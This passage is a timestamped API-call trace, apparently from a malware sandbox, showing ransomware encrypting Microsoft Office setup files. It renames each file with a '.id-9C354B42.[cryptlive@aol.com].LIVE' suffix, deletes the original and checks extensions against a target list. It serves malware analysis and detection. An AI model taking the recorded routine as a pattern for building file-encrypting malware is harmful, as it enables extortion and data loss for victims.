dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.113] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=26929) returned 1 [0045.113] CloseHandle (hObject=0x184) returned 1 [0045.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0045.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.113] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.113] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0045.114] GetLastError () returned 0x0 [0045.114] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x6931, lpOverlapped=0x0) returned 1 [0045.115] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0045.117] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.117] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0045.117] SetEndOfFile (hFile=0x1b0) returned 1 [0045.117] CloseHandle (hObject=0x1b0) returned 1 [0045.573] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.573] SetEndOfFile (hFile=0x184) returned 1 [0045.641] CloseHandle (hObject=0x184) returned 1 [0045.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.641] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0045.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.642] lstrlenW (lpString=".doc") returned 4 [0045.642] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.642] lstrlenW (lpString=".docx") returned 5 [0045.642] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0045.642] lstrlenW (lpString=".pdf") returned 4 [0045.642] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.642] lstrlenW (lpString=".xls") returned 4 [0045.642] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.642] lstrlenW (lpString=".xlsx") returned 5 [0045.642] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0045.642] lstrlenW (lpString=".ppt") returned 4 [0045.642] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.642] lstrlenW (lpString=".zip") returned 4 [0045.642] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.642] lstrlenW (lpString=".rar") returned 4 [0045.642] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.642] lstrlenW (lpString=".bz2") returned 4 [0045.642] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.642] lstrlenW (lpString=".7z") returned 3 [0045.642] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.642] lstrlenW (lpString=".dbf") returned 4 [0045.642] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.642] lstrlenW (lpString=".1cd") returned 4 [0045.642] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.642] lstrlenW (lpString=".jpg") returned 4 [0045.642] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.643] lstrlenW (lpString=".doc") returned 4 [0045.643] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString=".docx") returned 5 [0045.643] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0045.643] lstrlenW (lpString=".pdf") returned 4 [0045.643] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString=".xls") returned 4 [0045.643] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString=".xlsx") returned 5 [0045.643] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0045.643] lstrlenW (lpString=".ppt") returned 4 [0045.643] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.643] lstrlenW (lpString=".zip") returned 4 [0045.643] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString=".rar") returned 4 [0045.643] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString=".bz2") returned 4 [0045.643] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.643] lstrlenW (lpString=".7z") returned 3 [0045.643] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.643] lstrlenW (lpString=".dbf") returned 4 [0045.643] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.643] lstrlenW (lpString=".1cd") returned 4 [0045.643] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0045.643] lstrlenW (lpString=".jpg") returned 4 [0045.643] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.644] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0045.644] lstrlenW (lpString="SETUP.XML") returned 9 [0045.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.644] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9352) returned 1 [0045.644] CloseHandle (hObject=0x184) returned 1 [0045.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0045.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.644] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.644] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.645] GetLastError () returned 0x0 [0045.645] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x2488, lpOverlapped=0x0) returned 1 [0045.750] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0045.751] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.751] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.751] SetEndOfFile (hFile=0x1f8) returned 1 [0045.751] CloseHandle (hObject=0x1f8) returned 1 [0045.752] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.752] SetEndOfFile (hFile=0x184) returned 1 [0045.753] CloseHandle (hObject=0x184) returned 1 [0045.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0045.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.753] lstrlenW (lpString=".doc") returned 4 [0045.753] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.753] lstrlenW (lpString=".docx") returned 5 [0045.753] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.753] lstrlenW (lpString=".pdf") returned 4 [0045.753] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.753] lstrlenW (lpString=".xls") returned 4 [0045.753] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.753] lstrlenW (lpString=".xlsx") returned 5 [0045.753] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.753] lstrlenW (lpString=".ppt") returned 4 [0045.753] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.754] lstrlenW (lpString=".zip") returned 4 [0045.754] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.754] lstrlenW (lpString=".rar") returned 4 [0045.754] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString=".bz2") returned 4 [0045.754] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString=".7z") returned 3 [0045.754] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.754] lstrlenW (lpString=".dbf") returned 4 [0045.754] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.754] lstrlenW (lpString=".1cd") returned 4 [0045.754] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.754] lstrlenW (lpString=".jpg") returned 4 [0045.754] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.754] lstrlenW (lpString=".doc") returned 4 [0045.754] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString=".docx") returned 5 [0045.754] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.754] lstrlenW (lpString=".pdf") returned 4 [0045.754] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString=".xls") returned 4 [0045.754] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString=".xlsx") returned 5 [0045.754] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.754] lstrlenW (lpString=".ppt") returned 4 [0045.754] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.754] lstrlenW (lpString=".zip") returned 4 [0045.754] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.754] lstrlenW (lpString=".rar") returned 4 [0045.755] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.755] lstrlenW (lpString=".bz2") returned 4 [0045.755] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.755] lstrlenW (lpString=".7z") returned 3 [0045.755] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.755] lstrlenW (lpString=".dbf") returned 4 [0045.755] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.755] lstrlenW (lpString=".1cd") returned 4 [0045.755] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0045.755] lstrlenW (lpString=".jpg") returned 4 [0045.755] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.755] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0045.755] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0045.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.755] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1606) returned 1 [0045.755] CloseHandle (hObject=0x184) returned 1 [0045.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0045.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.756] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.756] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.152] GetLastError () returned 0x0 [0046.152] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x646, lpOverlapped=0x0) returned 1 [0046.153] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x650, lpOverlapped=0x0) returned 1 [0046.154] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.154] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.154] SetEndOfFile (hFile=0x15c) returned 1 [0046.154] CloseHandle (hObject=0x15c) returned 1 [0046.155] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.155] SetEndOfFile (hFile=0x184) returned 1 [0046.156] CloseHandle (hObject=0x184) returned 1 [0046.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.156] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.157] lstrlenW (lpString=".doc") returned 4 [0046.157] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString=".docx") returned 5 [0046.157] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.157] lstrlenW (lpString=".pdf") returned 4 [0046.157] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString=".xls") returned 4 [0046.157] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString=".xlsx") returned 5 [0046.157] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.157] lstrlenW (lpString=".ppt") returned 4 [0046.157] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.157] lstrlenW (lpString=".zip") returned 4 [0046.157] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.157] lstrlenW (lpString=".rar") returned 4 [0046.157] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString=".bz2") returned 4 [0046.157] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString=".7z") returned 3 [0046.157] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.157] lstrlenW (lpString=".dbf") returned 4 [0046.157] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.157] lstrlenW (lpString=".1cd") returned 4 [0046.157] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.157] lstrlenW (lpString=".jpg") returned 4 [0046.157] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.158] lstrlenW (lpString=".doc") returned 4 [0046.158] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString=".docx") returned 5 [0046.158] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.158] lstrlenW (lpString=".pdf") returned 4 [0046.158] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString=".xls") returned 4 [0046.158] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString=".xlsx") returned 5 [0046.158] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.158] lstrlenW (lpString=".ppt") returned 4 [0046.158] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.158] lstrlenW (lpString=".zip") returned 4 [0046.158] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.158] lstrlenW (lpString=".rar") returned 4 [0046.158] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString=".bz2") returned 4 [0046.158] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString=".7z") returned 3 [0046.158] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.158] lstrlenW 